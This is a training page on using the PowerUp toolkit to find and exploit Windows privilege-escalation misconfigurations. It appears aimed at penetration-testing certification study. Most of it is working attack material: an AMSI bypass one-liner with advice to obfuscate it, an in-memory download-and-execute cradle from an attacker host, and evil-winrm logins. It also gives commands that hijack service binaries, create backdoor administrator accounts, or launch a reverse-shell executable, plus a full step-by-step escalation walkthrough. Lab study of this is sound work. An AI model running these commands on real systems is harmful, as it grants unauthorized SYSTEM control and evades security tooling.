PowerUp
PowerShell privilege escalation toolkit from PowerSploit. Finds AND exploits Windows misconfigurations, modifiable services, DLL hijacking, registry autoruns, unquoted paths. The -Abuse flag turns findings into instant SYSTEM shells.
LevelIntermediate. Comes after you can already enumerate the host; PowerUp finds and exploits in one pass.
Know firstWhat a Windows service is, and what "unquoted service path" and "modifiable service" mean at a high level.
You will learn torun PowerUp's checks, and turn a finding straight into SYSTEM with its abuse functions.
What is it?
PowerUp is a PowerShell module that finds and automatically exploits Windows privilege escalation vectors. Where SharpUp only detects misconfigurations, PowerUp can actually exploit what it finds using the -Abuse flag on each finding.
It's part of the PowerSploit framework and remains one of the most comprehensive Windows privesc tools. It checks:
- Service misconfigurations: modifiable services, binaries, and config paths
- DLL hijacking: missing DLLs in the search path that services try to load
- Unquoted service paths: spaces in paths without quotes
- Registry autoruns: startup entries you can modify
- AlwaysInstallElevated: MSI packages install as SYSTEM
- Scheduled tasks: tasks with modifiable scripts or binaries
- Token privileges: SeImpersonate, SeBackup, etc.
The key advantage over SharpUp
- PowerUp can exploit what it finds: not just detect it
Invoke-ServiceAbuseautomatically creates a local admin user from a modifiable serviceWrite-ServiceBinarygenerates a payload and replaces the service binary- The
-Abuseparameter onInvoke-AllChecksauto-exploits every finding
Run this first
Load the script, then run every check at once.
powershell: your first run
PS> Import-Module .\PowerUp.ps1 PS> Invoke-AllChecks
Invoke-AllChecksruns every privilege escalation check PowerUp has and prints what it finds.
Each finding names a specific abuse function, for example Invoke-ServiceAbuse for a modifiable service. Run that function with the service name it gave you, and it can escalate you to SYSTEM directly, not just report the issue.
When do you use it?
Use PowerUp when
- PowerShell is available and execution policy can be bypassed
- AMSI is bypassed: PowerUp is heavily signatured, so bypass AMSI first
- You want auto-exploitation: the
-Abuseflag does the work for you - You need broader coverage than SharpUp: PowerUp checks DLL hijacking and more
- You have evil-winrm access: PowerUp loads easily via IEX in a WinRM session
AMSI will catch PowerUp
PowerUp is one of the most signatured offensive PowerShell scripts. Running it without an AMSI bypass will get it flagged immediately. Common AMSI bypass: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true): though this bypass itself is also signatured on modern systems. You may need to obfuscate it.
Loading PowerUp
powershell: loading methods
# Method 1: Download and execute in memory (most common) PS> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1') # Method 2: Import from disk PS> Import-Module .\PowerUp.ps1 # Method 3: Bypass execution policy and import PS> powershell -ep bypass PS> Import-Module C:\Users\jsmith\PowerUp.ps1 # Method 4: Via evil-winrm (loads scripts from your local machine) $ evil-winrm -i 10.10.10.10 -u jsmith -p 'Password123!' -s /opt/privesc/ *Evil-WinRM* PS> PowerUp.ps1 *Evil-WinRM* PS> Invoke-AllChecks
Invoke-AllChecks
This is the primary command. It runs every check and reports what's exploitable.
powershell: Invoke-AllChecks
# Run all checks (detection only) PS> Invoke-AllChecks # Run all checks with HTML report PS> Invoke-AllChecks -HTMLReport
output: Invoke-AllChecks example
[*] Running Invoke-AllChecks [*] Checking for modifiable services... ServiceName : VulnSvc Path : C:\Services\vuln\service.exe StartName : LocalSystem AbuseFunction : Invoke-ServiceAbuse -Name 'VulnSvc' [*] Checking service executable and argument permissions... ServiceName : BackupAgent Path : C:\Backup\agent.exe ModifiablePath : C:\Backup\agent.exe StartName : LocalSystem AbuseFunction : Install-ServiceBinary -Name 'BackupAgent' [*] Checking for unquoted service paths... ServiceName : UpdateSvc Path : C:\Program Files\Update Service\update.exe AbuseFunction : Write-ServiceBinary -Name 'UpdateSvc' -Path 'C:\Program Files\Update.exe' [*] Checking for AlwaysInstallElevated... AbuseFunction : Write-UserAddMSI [*] Checking for modifiable registry autoruns... [*] Checking for modifiable scheduled task files... [*] Checking for DLL hijacking in PATH directories... HijackablePath : C:\Python27\ AbuseFunction : Write-HijackDll -DllPath 'C:\Python27\wlbsctrl.dll'
The AbuseFunction column is the exploitation command
PowerUp tells you exactly what command to run to exploit each finding. Copy the AbuseFunction value and execute it. For example, Invoke-ServiceAbuse -Name 'VulnSvc' will modify the VulnSvc service to add a new local admin user, restart it, and then restore the original config.
Key exploitation functions
Invoke-ServiceAbuse: fastest path to admin
powershell: service abuse
# Default: creates a local admin user (john/Password123!) PS> Invoke-ServiceAbuse -Name 'VulnSvc' # Creates user "john" with password "Password123!" in local Administrators group # Then restores the original service config # Custom username/password PS> Invoke-ServiceAbuse -Name 'VulnSvc' -UserName 'backdoor' -Password 'P@ss123!' # Run a custom command instead of adding a user PS> Invoke-ServiceAbuse -Name 'VulnSvc' -Command "net localgroup administrators jsmith /add"
Install-ServiceBinary: replace the executable
powershell: binary replacement
# Replaces the service binary with one that adds a local admin PS> Install-ServiceBinary -Name 'BackupAgent' # Backs up original → replaces with payload → restarts service # Default payload adds user john/Password123! # Custom command PS> Install-ServiceBinary -Name 'BackupAgent' -Command "C:\temp\reverse.exe" # Restore the original after exploitation PS> Restore-ServiceBinary -Name 'BackupAgent'
Write-UserAddMSI: AlwaysInstallElevated exploitation
powershell: MSI exploitation
# Creates an MSI that adds a local admin user and installs it PS> Write-UserAddMSI # Generates UserAdd.msi in current directory # Installs automatically → creates backdoor admin user
Service binary hijacking walkthrough
The most common privesc path in CPTS, step by step:
powershell: full exploitation flow
# Step 1: Load PowerUp PS> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1') # Step 2: Find modifiable services PS> Get-ModifiableServiceFile ServiceName : BackupAgent Path : C:\Backup\agent.exe ModifiablePath : C:\Backup\agent.exe StartName : LocalSystem # Step 3: Exploit: replace binary, creates admin user PS> Install-ServiceBinary -Name 'BackupAgent' ServiceName : BackupAgent Command : net user john Password123! /add & net localgroup Administrators john /add BackupPath : C:\Backup\agent.exe.bak Status : Service binary replaced. Run 'Restart-Service BackupAgent' to execute. # Step 4: Restart the service (runs our payload as SYSTEM) PS> Restart-Service BackupAgent # Step 5: Verify the new admin user exists PS> net user john User name john Local Group Memberships *Administrators # Step 6: Clean up, restore original binary PS> Restore-ServiceBinary -Name 'BackupAgent' # Step 7: Use new admin account PS> runas /user:john cmd # Or connect remotely with the new admin creds
PowerUp vs SharpUp
| Feature | PowerUp | SharpUp |
|---|---|---|
| Auto-exploit | Yes: -Abuse flag and exploitation functions | No: detection only |
| DLL hijacking checks | Yes | Limited |
| Detection risk | High: heavily signatured in AMSI/AV | Lower: compiled binary |
| Requires | PowerShell + AMSI bypass | .NET Framework only |
| Service restoration | Built-in Restore-ServiceBinary | Manual restoration needed |
Common mistakes
Things that go wrong
- Running without AMSI bypass: PowerUp is flagged by AMSI on every modern Windows. Bypass AMSI first or use SharpUp instead
- Not restoring service binaries:
Restore-ServiceBinaryexists for a reason. Always clean up after exploitation - Using default credentials: The default user PowerUp creates is
john/Password123!: change this in lab environments where other students might use the same defaults - Forgetting execution policy: Run
powershell -ep bypassorSet-ExecutionPolicy Bypass -Scope Processbefore importing - Not checking if the service can be restarted: Even if you can modify a service binary, you need permission to restart it. Check with
sc sdshow ServiceName - Running -Abuse automatically in production: The
-Abuseflag modifies system services. In a real engagement, understand what each abuse does before running it
Check yourself
Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.
What does Invoke-AllChecks actually do, beyond listing problems?
It both finds misconfigurations (modifiable services, unquoted paths, AlwaysInstallElevated, and more) and names the function that exploits each one.
PowerUp finds a service you can modify. Which function exploits it directly?
Invoke-ServiceAbuse, usually the fastest path to admin once a modifiable service is found.What does Write-UserAddMSI rely on to work?
The AlwaysInstallElevated registry setting being enabled, which lets any user install an MSI with SYSTEM rights.
How does SharpUp relate to PowerUp?
It is a C# port covering PowerUp's most dangerous checks, useful when PowerShell is restricted or logged more heavily than running a binary.
PowerUp import is blocked by AMSI. What is the fix?
The same ones used for PowerView: load it through evil-winrm's
-s flag, or use an AMSI bypass.